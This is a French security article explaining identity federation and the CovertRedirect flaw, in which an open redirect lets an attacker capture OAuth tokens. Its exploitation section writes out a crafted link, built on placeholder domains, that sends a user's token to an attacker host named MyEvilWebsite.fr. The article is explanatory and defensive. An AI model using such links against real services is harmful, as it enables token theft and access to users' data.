Cet article est extrait de l’Observatoire de la Cybercriminalité « Fédération d’identité» Lexsi.
Notion de fédération d’identité
Principe de base
Il s’agit d’un concept qui vise à mettre en place une centralisation des données, et notamment des données d’identité, au sein d’un domaine informatique. Ainsi un utilisateur ne se connectera qu’une unique fois par session auprès d’une structure reconnue qui lui fournira la preuve de son identité (sous forme de jeton). L’utilisateur le présentera aux autres ressources qui souhaitent s’assurer de son identité, sans qu’il n’ait à dérouler une nouvelle procédure d’authentification. Une seule authentification (dite primaire), donc un seul mot de passe, (plus facile donc de faire appliquer une politique de renouvellement et complexité sans se confronter aux utilisateurs récalcitrants). De plus, la fédération d’identité permet également de centraliser les données d’un utilisateur (comme son adresse mail de contact, un nom, une langue). Ces données seront appelées attributs et la centralisation permettra notamment de pouvoir modifier ces données plus facilement.
Acteurs
Dans un schéma en fédération d’identité, il est nécessaire de reconnaître trois acteurs et d’identifier les différents flux entre eux :
- l’utilisateur : il s’agît de la personne qui interagit via son navigateur web. Il a une unique identité numérique associée à plusieurs attributs et souhaite accéder à une application protégée.
- Le fournisseur d’identité : c’est l’élément central de l’architecture. Il s’agit du blocchargé d’authentifier les utilisateurs. Il vérifie les facteurs d’authentification de l’utilisateur et fournit la preuve de son identité. Il est aussi en charge des autorisations d’accès aux attributs.On parle également d’Identity Provider – IdP.
- Le fournisseur de service : c’est la ressource qui a besoin de s’assurer de l’identité de l’utilisateur et peut avoir besoin des attributs de l’utilisateur. On parle également de Service Provider – SP.
Flux
- l’utilisateur demande l’accès à un service protégé par une authentification ;
- le fournisseur de service redirige l’utilisateur vers le fournisseur d’identité pour qu’il puisse s’authentifier ;
- l’utilisateur s’authentifie (il justifie de son identité) à l’aide des facteurs d’authentification compatibles avec la méthode en place (login/mot de passe, clé, OTP …) ;
- le fournisseur d’identité redirige l’utilisateur vers le fournisseur de service accompagné du jeton attestant de son identité ;
- le fournisseur de service évalue le jeton et autorise l’accès de l’utilisateur.
CovertRedirect – présentation et exploitation
Présentation
La fédération d’identité utilise donc les redirections pour rendre les flux transparents pour l’utilisateur. Or une redirection mal gérée peut être exploitée par un attaquant pour lui permettre de rediriger l’utilisateur vers un site malveillant (phishing ou téléchargement de malware). CovertRedirect n’est pas une vulnérabilité protocolaire mais bien une vulnérabilité touchant l’implémentation des protocoles qui est faite sur certains services.
L’exploitation de redirection est un problème bien connu : OpenRedirect1, vulnérabilité des redirections est classé dans le top 10 OWASP depuis 2010.
Cette faille vise les sites qui comportent des liens de cette forme :
siteWeb.com/Other/Path?redirectionVers =UneAutrePageOuUnAutreSite
Ces liens permettent aux applications d’effectuer un traitement (côté serveur) avant de rediriger l’utilisateur vers la ressource souhaitée définie en tant que paramètre dans l’URL (comme une destruction de session avant une redirection vers la page d’accueil sur un bouton « log off » par exemple).
Dans la majorité des cas, ces liens proviennent d’une mauvaise conception, et leur implémentation est fortement déconseillée. siteWeb.com peut servir de relais pour un phishing : un attaquant peut forger un lien de type :
siteWeb.com/Other/Path?redirectionVers =UnSiteCorrompu. com
Contexte
CovertRedirect est apparu au printemps 2014, mise en évidence par Wang Jing un doctorant de l’université de nouvelles technologies de Nanyang à Singapour. L’impact est d’abord estimé comme important car une grande partie des géants du web seraient impliqués (GAFA, LinkedIn, Yahoo, Live, GitHub). Puis dans un second temps les spécialistes se rétractent pour finalement minimiser son impact2.
CovertRedirect est la vulnérabilité qui exploite la présence d’OpenRedirect sur des sites impliqués dans la fédération d’identité. Pour mieux la comprendre, mettons nous en situation dans laquelle un utilisateur souhaite s’authentifier sur un sitemonSiteWeb.com à l’aide de son identité gérée par le site myGreatIdP.com
L’utilisateur se connecte au client monSiteWeb.com [1] qui va envoyer l’utilisateur faire la demande d’authentification sur le serveur cible. Pour cela il redirige l’utilisateur [2] sur une URL de type :
myGreatIdP.com/dialog/authen?redirect= monSiteWeb.com/UserProfile?scope= DroitsDuJeton&client_id= 11
Où monSiteWeb.com/UserProfile est l’adresse sur laquelle le serveur attend la réponse d’authentification.
L’utilisateur s’authentifie sur myGreatIdP.com [3] qui le redirige [4] vers :
monSiteWeb.com/UserProfile?token= ValeurDuJeton
monSiteWeb.com peut maintenant utiliser ce jeton pour identifier l’utilisateur et lui fournir l’accès demandé[5].
Exploitation
Maintenant dans le cas où monSiteWeb.com contient une redirection sur :
monSiteWeb.com/LogOff?GoTo= HomePage. html
Un attaquant peut exploiter CovertRedirect en faisant cliquer un utilisateur sur un lien de ce type :
myGreatIdP.com/dialog/authen?redirect=monSiteWeb.com/LogOff?GoTo=MyEvilWebsite.fr/Input/CovertRedirect &response_type=token?scope= DroitsDuJeton&client_id=11
On y retrouve :
- L’application
- le fournisseur d’identité
- un serveur malveillant
C’est l’étape 1 de l’attaque.
L’utilisateur se retrouve alors sur myGreatIdP.com qui lui demande de s’authentifier pour le site monSiteWeb.com [2]. Il est alors redirigé par l’IdP vers la page de redirection monSiteWeb.com [3].
monSiteWeb.com/LogOff?GoTo= MyEvilWebsite. fr/Input/CovertRedirect?token= ValeurDuJeton
Le site fera les traitements de LogOff (destruction de session par exemple) et rédigera l’utilisateur (à cause de sa vulnérabilité OpenRedirect) vers :
MyEvilWebsite.fr/Input/CovertRedirect?token= ValeurDuJeton
L’attaquant aura alors dans les logs du serveur la valeur du jeton. Il peut sous certaines conditions réutiliser ce jeton pour accéder en lecture (ou écriture parfois) aux données de l’utilisateur.
La fédération d’identité facteur multiplicateur d’impact ?
Dans un schéma en fédération d’identité, les murs internes au SI peuvent être vus comme plus fins, et le poids portée par l’authentification plus lourd : la fédération d’identité peut être vue comme un facteur multipliant les impacts d’une possible attaque. Si l’identité d’un des utilisateurs est compromise, ses accès à l’ensemble des applications du périmètre seront affectés. Si un incident intervient sur la brique d’authentification, l’ensemble de mes utilisateurs seront concernés. Il est donc essentiel de pouvoir gérer ces potentiels incidents en intégrant des mécanismes de hautes disponibilités et en renforçant la sécurité de l’authentification.
En réalité, la fédération d’identité doit plutôt être vue comme un simplificateur du SI, et les vulnérabilités structurelles ou protocolaires y sont plutôt rares. Les identités et habilitations seront administrées centralement, et les utilisateurs ne seront plus obligés de manipuler une multitude d’identifiants et de mots de passe (parfois auto-synchronisés). Ces projets nécessitent une grande implication de l’ensemble des métiers de l’entreprise, mais simplifiera l’expérience utilisateurs et pourra permettre de faire appliquer certaines contraintes de sécurité propres aux secteurs et métiers. 
Pour plus d’information https://www.lexsi.com/